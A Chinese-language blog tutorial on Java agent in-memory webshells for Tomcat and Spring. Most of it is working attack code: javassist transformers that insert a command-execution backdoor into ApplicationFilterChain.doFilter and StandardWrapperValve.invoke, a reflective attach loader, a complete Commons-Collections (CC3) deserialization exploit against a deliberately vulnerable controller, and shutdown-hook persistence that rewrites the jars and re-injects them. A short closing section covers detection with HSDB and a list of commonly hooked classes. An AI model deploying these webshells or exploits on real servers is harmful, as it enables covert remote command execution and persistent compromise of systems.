java agent内存马


好久没有看回java内存马了,把落下的agent内存马补一下

agent内存马顾名思义就是拿java agent技术来拦截并且修改关键类字节码所导致的内存马注入,前面三种内存马(Filter、Listener、Servlet)都需要对中间件进行调试,一步步进行反射调用,而agent只需要对关键类进行处理即可。

Java Agent技术

java agent来源于jdk的rt.jar中。rt.jar包中存在一个java.lang.instrument包,这个包的作用是帮助开发人员动态地修改系统中的Class类型,其中一个关键组件就是java agent

Java Agent能够在不影响正常编译的情况下来修改字节码,说白了Java Agent只是一个类,但是不同于普通的Java类的入口main,它的类加载入口主要有两种:

  • premain方法,在程序启动时进行加载(jdk 1.5之后才有),也就是在main方法被调用时
  • agentmain方法,在程序启动后进行加载(jdk 1.6之后才有)

下面来编写demo实现premainagentmain

实现premain方法

新建maven项目,编写demo如下:

1
2
3
4
5
6
7
8
9
10
import java.lang.instrument.Instrumentation;

public class premain_test {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("Premain invoked!");
}
}
}

在idea里的src/main/resources文件夹下创建META-INF/MANIFEST.MF文件

编写MANIFEST.MF

1
2
3
Manifest-Version: 1.0
Premain-Class: premain_test

记得最后要换行,并且Premain类要对应:

最后只需要利用idea构建成jar即可,这里需要使用maven项目构建:

在pom.xml中添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.2</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
<!--<manifestEntries>-->
<!--<Premain-Class>com.git.hui.agent.SimpleAgent</Premain-Class>-->
<!--<Agent-Class>com.git.hui.agent.SimpleAgent</Agent-Class>-->
<!--<Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!--<Can-Retransform-Classes>true</Can-Retransform-Classes>-->
<!--</manifestEntries>-->
</archive>
</configuration>

<executions>
<execution>
<goals>
<goal>attached</goal>
</goals>
<phase>package</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>

然后构建:

构建成功后会得到一个xxx-jar-with-dependencies.jar的jar包,准备另一个jar包用于测试premain

1
java -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar -jar app.jar

可以看到打印了五次Premain invoked才运行app.jar启动blade服务。而这个null是agentArgs,由于启动时并没有输入参数所以打印为null,如果需要参数则只需要输入

1
java8 -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar=xxx -jar app.jar

值得注意的是对于premain,我们不止有参数agentArgs,还有另外一个参数InstrumentationInstrumentationJVMTIAgent(Java VM Tool Interface Agent)的一部分,简单来说java agent就是通过这个类来对目标类进行修改的

Instrumentation中有一个transformerClass文件转换器,这个转换器可以改变二进制流的数据,因此transformer可以对未加载的类将那些拦截,同时也可以对已经加载的类进行重新加载并且拦截,根据这个特性就能够实现动态修改字节码

Instrumentation的一些方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface Instrumentation {

// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

......
}

重点介绍addTransformerremoveTransformerretransformClasses这三个方法

addTransformer

addTransformer方法用于注册一个自己的Transformer,当拦截到classFileTransformer内指定的类时就会进入到自己的transformer方法进行拦截

例如一个实现ClassFileTransformer的类(参数和中间内容被省略):

1
2
3
4
5
6
7
8
9
10
public class DefineTransformer implements ClassFileTransformer{
public static final String ClassName = "xxx";

public byte[] transform(...){
...
if(className.equals(ClassName)){
...
}
}
}

getAllLoadedClasses

该方法能够列出所有已加载的Class,我们可以通过遍历该方法得到的Class数组来寻找我们需要的类

retransformClass

该方法能够对已经加载的Class进行重新定义,如果目标类已经被加载可以调用该方法重新加载这个类然后被我们的transformer拦截,达到对已加载的字节码进行修改的效果。

demo

首先利用addTransformer方法注册一个transformer,然后创建ClassFileTransformer方法的实现类,最后override transformer方法:

DefineTransformer:

1
2
3
4
5
6
7
8
9
10
11
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return new byte[0];
}
}

premain里添加:

1
2
3
4
5
6
7
8
9
10
11
import java.lang.instrument.Instrumentation;

public class premain_test {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("Premain invoked!");
}
inst.addTransformer(new DefineTransformer(), true);
}
}

这里的addTransformer方法后面的参数true代表它可以修改JVM加载过的类字节码,不过同时还要在MANIFEST.MF里添加:

1
2
Can-Retransform-Classes: true
Can-Redefine-Classes: true

修改后的MANIFEST.MF应该是这样的:

1
2
3
4
5
Manifest-Version: 1.0
Premain-Class: premain_test
Can-Redefine-Classes: true
Can-Retransform-Classes: true

运行得到下面的结果

那应该如何注入agent内存马呢?

我们知道不管是tomcat还是springboot都会有springboot加载(spring可以很明显地看到在启动时会加载tomcat容器)

由于agent内存马是拦截关键类进行注入的,因此回顾tomcat的内存马,可以简单地得知如果我们拦截并修改了filterChain.doFilter方法,并且添加我们的恶意代码即可实现内存马。在filter内存马里说过filterChain来自于ApplicationFilterChain的实例,源码大概如下:

1
2
3
4
5
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

...

filterChain.doFilter(request.getRequest(), response.getResponse());

因此只需要拦截ApplicationFilterChain.doFilter方法即可

premain的不足 & agentmain

很多时候我们要注入内存马都是在程序运行之后的情况(比如一个正在运行的java站等),这个时候就不适用premain了,因此这个时候就需要我们的agentmain。通过tools.jarAttach API来动态加载agentmain

由于tools.jar默认不加载,因此需要在classpath中额外指定

首先在idea -> project structure -> SDK中添加自己jdk目录/lib/tools.jar,这样才能够找到Attach API

编写agentmain的demo

编写AgentMain方法:

1
2
3
4
5
6
7
8
import java.lang.instrument.Instrumentation;

public class agentmain_test {
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new DefineTransformer(), true);
}
}

编写MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: agentmain_test
Can-Redefine-Classes: true
Can-Retransform-Classes: true

生成AgentMain.jar,编写一个测试类进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class AgentMainTest {
public static void main(String[] args) throws Exception {
String agentMainPath = "生成的agentmain.jar的路径";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor v : list){
System.out.println(v.displayName());
if(v.displayName().contains("AgentMainTest")){
// attach agent
VirtualMachine vm = VirtualMachine.attach(v.id());
System.out.println("id >>>" + v.id());
vm.loadAgent(agentMainPath); // 加载agent
vm.detach();
}
}
}
}

可以看到执行结果如下:

这里是本地的情况,远程环境并不会加载jar,那该如何处理呢?

这里可以使用URLClassLoader的loadClass来远程加载类:

1
2
3
4
5
6
7
8
9
10
11
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();

java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM Start..");

前面通过loadClass加载需要的VirtualMachine类和VirtualMachineDescriptor类,并通过invoke方法调用实现VirtualMachine.list()方法,后续调用displayName()方法也是类似的,完整调用代码如下(后续称其为loadAgent,其对应生成的jar包为loadAgent.jar):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();

java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM Start..");

for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.contains("AgentMainTest")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
}catch (Exception e){

}

运行结果:

写agent内存马

接下来就可以开始编写agent内存马了

agent.jar,首先编写拦截ApplicationFilterChaindoFilter方法,因此编写DefineTransformer,添加javaassit依赖利于我们编写类:

1
2
3
4
5
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>

由于是改类内的字节码因此可以直接获得tomcat采用的httpServeletRequest和Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException{
className = className.replace("/", ".");
if(className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try{
CtClass c = pool.getCtClass(className);
CtMethod method = c.getDeclaredMethod("doFilter");
method.insertBefore("javax.servlet.ServletRequest req = request;\n" +
"javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"boolean isLinux = true;\n" +
"String osTyp = System.getProperty(\"os.name\");\n" +
"if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {isLinux = false;}\n" +
"String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};"+
"Process process = Runtime.getRuntime().exec(cmds);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

此时DefineTransform已经准备完毕,修改agentmain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.instrument.Instrumentation;

public class agentmain_test {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new DefineTransformer(), true);

// 处理已经加载好的类
Class[] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if(cls.getName().equals(ClassName)){
try{
inst.retransformClasses(new Class[]{cls});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}

生成agentmain.jar

接下来只需要加载上面提到的URLClassLoader远程加载类的字节码即可(使用CC3等反序列化方式加载字节码)

如果能够直接rce想打一个agent内存马持久化的话可以尝试直接上传agentmain.jarloadAgent.jar去在命令行操作java -jar loadAgent.jar即可

写一个用于加载字节码的loadAgent,这个类是CC3中的字节码,因此要继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example.agentdemo.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class loadAgent extends AbstractTranslet {
static {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();

java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM Start..");

for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.contains("AgentMainTest")){ // 这里需要填实际的类名
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar"; //这里改成自己的agentmain.jar的位置
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
}catch (Exception e){

}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}



}

启动漏洞环境进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.agentdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class VulnController {

@ResponseBody
@RequestMapping("/cctest")
public String ccVulntest2(@RequestParam String b64data) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(b64data));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "Hello,World";
}

@ResponseBody
@RequestMapping("/demo")
public String demo() throws Exception{
return "This is OK Demo!";
}
}

这里已经添加了cc3.2.1的依赖了,因此直接启动

CC3Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package com.example.agentdemo.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3Exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class clz = templates.getClass();
Field nameField = clz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

byte[] bytecode = Files.readAllBytes(Paths.get("D:\\java_project\\agentdemo\\target\\classes\\com\\example\\agentdemo\\exp\\loadAgent.class"));
byte[][] codes = {bytecode};

Field bytecodeField = clz.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
bytecodeField.set(templates, codes);

Field tfactoryField = clz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//templates.newTransformer();
/*Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);*/

//chainedTransformer.transform(1);

//ysoserial里的CC3

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AIHConstructor.newInstance(Override.class, mapProxy);

Serialize(o);



}
private static void Serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
String s = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(s);
System.out.println(s.length());
objectOutputStream.close();
}
private static void UnSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
objectInputStream.readObject();
objectInputStream.close();
}
}

这里的7176是payload长度,无视即可,打payload后即可,控制台回显如下:

浏览器测试cmd:

  • 注意agentmain.jar必须要在目标服务器上才能够这么做

总结一下Agent内存马的使用流程:

  • 制作agentmain.jar(必须)
  • 想办法将agentmain.jar传到对方的

改进型agent马

采用org.apache.catalina.core.StandardWrapperValve#invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// agentmain
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class TomcatAgent {
// public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";

public static void agentmain(String args, Instrumentation inst) throws Exception {
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new TomcatTransformer(), true);
inst.retransformClasses(clazz);
}
}
}

public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor desc : list) {
String name = desc.displayName();
String pid = desc.id();

if (name.contains("org.apache.catalina.startup.Bootstrap")) {
// name.contains("com.example.springbootdemo.SpringBootDemoApplication")
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
System.out.println("attach ok");
break;
}
}
}
}

class TomcatTransformer implements ClassFileTransformer {
// public static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
// public static final String CLASSMETHOD = "doFilter";
public static final String CLASSMETHOD = "invoke";

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(ccp);
}
if (className.replace("/", ".").equals(CLASSNAME)) {
CtClass clazz = pool.get(CLASSNAME);
CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD);
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
"if (cmd != null) {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null) {\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.setContentType(\"text/html;charset=utf-8\");\n" +
" response.getWriter().print(sb.toString());\n" +
" response.getWriter().flush();\n" +
" response.getWriter().close();\n" +
"}");
byte[] classbyte = clazz.toBytecode();
clazz.detach();
return classbyte;
}
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

持久化agent马

和其他内存马的通病是一样的,agent内存马无法在重启环境后继续存在,因此持久化Agent内存马也是必须的。

当然这也是我之前面试实习的时候被问到的一个问题,当时并不清楚怎么回答只回答了agent内存马,搁置到现在才来解决

简单来说原理就是在JVM关闭前会调用addShutdownHook()方法,此时只需要将一个线程hook到addShutdownHook()方法即可在关闭时调用重新写入agentmain.jarloadAgent.jar即可

例如在agentmain里添加ReadAgent()ReadLoader()来保存这两个jar的表示:

参考rebeyond师傅的Agent.java,为了上下文流畅将类名进行了一些修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {};

public static void ReadLoader(String filePath) throws Exception {
String fileName = "loadAgent.jar";
File f = new File(filePath + File.separator + fileName);
if (!f.exists()) {
f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
}
InputStream is = new FileInputStream(f);
byte[] bytes = new byte[1024 * 100];
int num = 0;
while ((num = is.read(bytes)) != -1) {
injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
}

public static void ReadAgent(String filePath) throws Exception {
String fileName = "Agent.jar";
File f = new File(filePath + File.separator + fileName);
if (!f.exists()) {
f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
}
InputStream is = new FileInputStream(f);
byte[] bytes = new byte[1024 * 100];
int num = 0;
while ((num = is.read(bytes)) != -1) {
agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
}

这样将两个jar存储到对应的字节数组内,在agentmain方法内调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import java.lang.instrument.Instrumentation;

public class agentmain_test {
public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {};
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new DefineTransformer(), true);

// 处理已经加载好的类
Class[] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if(cls.getName().equals(ClassName)){
try{
inst.retransformClasses(new Class[]{cls});
} catch (Exception e){
e.printStackTrace();
}
}
}
// 持久化内容
try{
readLoader(loaderPath);
readAgent(agentPath);
clear(loaderPath, agentPath); // 删除jar
} catch(Exception e){

}

agentmain_test.persist()

}

public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar", Agent.injectFileBytes);
writeFiles("agent.jar", Agent.agentFileBytes);
startInject();
} catch (Exception e) {

}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {

}
}

public static void startInject() throws Exception {
Thread.sleep(2000);
String tempFolder = System.getProperty("java.io.tmpdir");
String cmd = "java -jar " + tempFolder + File.separator + "inject.jar ";
Runtime.getRuntime().exec(cmd);
}
}

大概就是这样,原理就是通过addShutdownHook(t)来hookpersist方法内定义的进程,这样在关闭jvm的时候就会先写入agentmainloadAgent然后调用startInject()方法重新注入一遍

当然,对于其他的内存马如filter内存马可以使用替换jar的方式来进行持久化,例如springbootcharset.jartomcatcatalina.jar,详见这篇文章

无文件落地agent马

参考Linux下无文件落地

只能够在linux下使用,因为需要获取到/proc/self/maps/proc/self/mem,并且还需要解析elf,非常地苛刻

构造流程也很麻烦,原文给的很具体了,总结大概是:

找到替换函数的地址,构建jvmtiEnv*的机器码,替换到内存空间里,然后逐步替换直到能够修改对象成为InstrumentationImpl

实现:https://github.com/xiaopan233/Java_agent_without_file

agent马查杀

1
java8 -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB

sa-jdi.jar是自带的一个jar包

通过它的HSDB能够dump出类的字节码,反编译即可,需要先选择服务器对应的pid,然后通过tools里的class browser调出相应的类,常见的可能被修改的类:

1
2
3
4
5
6
7
8
9
(1)javax.servlet.http.HttpServlet service

(2)org.apache.catalina.core.ApplicationFilterChain doFilter

(3)org.springframework.web.servlet.DispatcherServlet doService

(4)org.apache.tomcat.websocket.server.WsFilter doFilter

(5)org.apache.catalina.core.StandardWrapperValve invoke

此时发现了内存马,就需要通过Agent来还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

